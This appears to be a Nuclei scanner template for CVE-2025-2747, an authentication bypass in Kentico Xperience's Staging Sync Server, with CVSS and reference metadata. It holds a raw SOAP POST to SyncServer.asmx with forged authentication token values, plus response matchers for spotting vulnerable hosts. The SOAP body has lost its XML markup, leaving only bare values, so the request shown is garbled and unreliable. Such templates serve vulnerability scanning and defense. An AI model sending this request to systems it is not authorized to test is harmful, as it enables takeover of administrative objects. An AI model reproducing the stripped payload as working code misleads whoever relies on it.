id: CVE-2025-2747 info: name: "Kentico - Authentication Bypass" author: vedas-arpsyndicate severity: critical description: | An authentication bypass vulnerability in Kentico Xperience allows authentication bypass via the Staging Sync Server component password handling for the server defined None type. Authentication bypass allows an attacker to control administrative objects.This issue affects Xperience through 13.0.178. reference: - https://www.exploit.observer/?keyword=CVE-2025-2747&match=exact - https://subdomain.center/?engine=ammonites&keyword=kentico&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-2747 cwe-id: CWE-287 metadata: verified: false tags: cve,cve2025,kentico,stag,auth-bypass,xperience13,kev,vkev,vuln variables: rand: "{{to_lower(rand_text_alpha(5))}}" http: - raw: - | POST /CMSPages/Staging/SyncServer.asmx HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml; charset=utf-8 SOAPAction: "http://localhost/SyncWebService/SyncServer/ProcessSynchronizationTaskData" y3t4kallxq 6dfzCOJsdj5Aw+1rGzwoHadPFTQ= 4JX/SboVYnxbh8hm3ySQdIUJtFK9cqUh 2025-03-10T20:11:07Z ]]> matchers-condition: and matchers: - type: word part: body words: - "{{rand}}" - "" condition: and - type: word part: body words: - "Site not running" - "SyncServer.ErrorLicense" - "SyncServer.ErrorServiceNotEnabled" - "Staging service is not enabled on this server" - "Staging does not work with blank password" - "Missing X509 certificate token" - "The security token could not be authenticated or authorized" condition: or negative: true - type: word part: content_type words: - "text/xml"